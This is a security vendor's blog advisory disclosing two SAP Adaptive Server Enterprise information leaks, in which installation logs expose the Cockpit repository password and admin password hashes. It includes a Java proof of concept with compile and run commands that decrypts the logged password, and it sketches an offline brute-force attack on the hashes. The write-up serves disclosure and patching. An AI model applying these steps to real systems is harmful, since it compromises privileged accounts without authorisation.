Trustwave Unveils New Offerings to Maximize Value of Microsoft Security Investments. Learn More

Trustwave Unveils New Offerings to Maximize Value of Microsoft Security Investments. Learn More

Services
Capture
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

twi-managed-portal-color
Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

twi-briefcase-color-svg
Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

tw-laptop-data
Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

twi-database-color-svg
Database Security

Prevent unauthorized access and exceed compliance requirements.

twi-email-color-svg
Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

tw-officer
Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

tw-network
Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Offensive Security
Solutions to maximize your security ROI
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

SAP ASE Information Leaks: CVE-2020-6295 and CVE-2020-6317

Introduction

Today I'd like to discuss two information disclosure vulnerabilities that occur in SAP Adaptive Server Enterprise installation process. These days it’s quite common to discover sensitive information in application log files given the amount of data being processed and complexity of today’s products. Adaptive Server Enterprise is a quite complex product having multiple subsystems and some of them are involved in the vulnerabilities discussed below.

CVE-2020-6295: Install Data Leakage of Cockpit Password

Since SAP ASE is a complex product with many parts including but not limited to: the database server itself, backup server, XP server, Cockpit, client components, there several subsystems that write to the installation log file when DBA installs or upgrades an instance. The main installation file on Windows is %SYBASE%\log\ASE_Suite.log and is publicly readable as shown below:

C:\SAP>icacls C:\SAP\log\ASE_Suite.log
C:\SAP\log\ASE_Suite.log NT AUTHORITY\SYSTEM:(I)(F)
                         BUILTIN\Administrators:(I)(F)
                         BUILTIN\Users:(I)(RX)
Successfully processed 1 files; Failed processing 0 files

This means any local user can read it. Moving on, if the Cockpit component is installed and configured, there will be a line like this in the log file:

DEBUG>>> 05-18-20 21:27:19 : ConfigCockpitLogins.writeRepositoryPassword(): write enRepoPwd=1-AAAAEgQQB+3Q7M42wx5KfB/vy2q4HfZhiEasqjA8vSjPIZbbLrqb9KZFqdpyTBHk7reqCIUzsXIlcMc/jaXtaW8eDvBIqQ==

enRepoPwd is encrypted Cockpit repository password. How can it be decrypted? I did some investigation and found out that there are two more files necessary to decrypt the password:

%SYBASE%\COCKPIT-4\conf\csibootstrap.properties
%SYBASE%\COCKPIT-4\conf\csikeystore.jceks

Surprisingly, both are readable by Everyone! csibootstrap.properties contains keystore password while the csikeystore.jceks is the actual keystore. A very useful script for the research is C:\SAP\COCKPIT-4\bin\passencrypt.bat.

Time for Java proof-of-concept!

public class demo
{
            public static void main(String[] args) throws Exception
            {
                        com.sybase.ua.security.crypto.CSIEncryption.bootstrapCSI();
                        String password = com.sybase.ua.security.crypto.CSIEncryption.getInstance().getEncryptionTools().decrypt("1
AAAAEgQQB+3Q7M42wx5KfB/vy2q4HfZhiEasqjA8vSjPIZbbLrqb9KZFqdpyTBHk7reqCIUzsXIlcMc/jaXtaW8eDvBIqQ==");
                        System.out.println(password);
    }
}

To compile:

set COCKPIT_HOME=%SYBASE%\COCKPIT-4
set COCKPIT_STARTUP_CLASSPATH=%COCKPIT_HOME%\common\classes;%COCKPIT_HOME%\common\lib\commons-cli-1.1.jar;%COCKPIT_HOME%\server\lib\uaf-startup.jar
for %i in (%COCKPIT_HOME%\common\lib\*.jar) do @call set _clientCP=%_clientCP%;%i
set COCKPIT_CLIENT_CLASSPATH=%COCKPIT_STARTUP_CLASSPATH%;%_clientCP:/=\%
javac.exe -cp %COCKPIT_CLIENT_CLASSPATH%;. demo.java

To run:

"C:\SAP\Shared\SAPJRE-8_1_062_64BIT\bin\java.exe" -Dcom.sybase.ua.home=%SYBASE%\COCKPIT-4\ -cp %COCKPIT_CLIENT_CLASSPATH%;. demo

Once the password is decrypted, it can be used to view, modify and/or make any data associated with the Cockpit unavailable according to SAP note (https://launchpad.support.sap.com/#/notes/2941332).

CVE-2020-6317: Install Data Leakage of sccadmin and uafadmin Password Hashes

The same log file might contain strings like below if the Cockpit component is installed:

...
DEBUG>>> 05-18-20 21:27:18 : ConfigCockpitLogins.setCSIUserAndPassword(): write userName=sccadmin
DEBUG>>> 05-18-20 21:27:18 : ConfigCockpitLogins.setCSIUserAndPassword(): write encryptPwd={SHA-256:+EFnOPCybn0=}R2hjILOGw+9HuezqaOETTLEp3aES8tvgllXb8IL9W6E=
DEBUG>>> 05-18-20 21:27:18 : ConfigCockpitLogins.setCSIUserAndPassword(): write userName=uafadmin
DEBUG>>> 05-18-20 21:27:18 : ConfigCockpitLogins.setCSIUserAndPassword(): write encryptPwd={SHA-256:63brIY/QONU=}zmVB11zcCmEvCw/DGoEY01O4y3E0VkFjQwIizR2h6j4=
...

Essentially, this makes it possible to conduct an offline brute force attack against the accounts mentioned. The first step is to decode the salt from its base64 value and then just loop over a dictionary.

Conclusion

In the end, exploiting the vulnerabilities discussed here will allow a malicious user to either guess privileged user passwords (CVE-2020-6317) or just decrypt it (CVE-2020-6295) and then use compromised accounts for subsequent attacks. Do not wait: apply the vendor-provided patches ASAP.

Trustwave Advisory TWSL2020-006

Latest SpiderLabs Blogs

Clockwork Blue: Automating Security Defenses with SOAR and AI

It’s impractical to operate security operations alone, using manual human processes. Finding opportunities to automate SecOps is an underlying foundation of Zero Trust and an essential architecture...

Read More

Professional Services Sector Under Attack - Trustwave SpiderLabs Report 2024

Recent research by Trustwave SpiderLabs, detailed in their newly published report "2024 Professional Services Threat Landscape: Trustwave Threat Intelligence Briefing and Mitigation Strategies,"...

Read More

Atlas Oil: The Consequences of a Ransomware Attack

Overview Atlas Oil, a major player in the oil and fuel distribution industry, fell victim to a ransomware attack orchestrated by the Black Basta group. This attack not only compromised sensitive...

Read More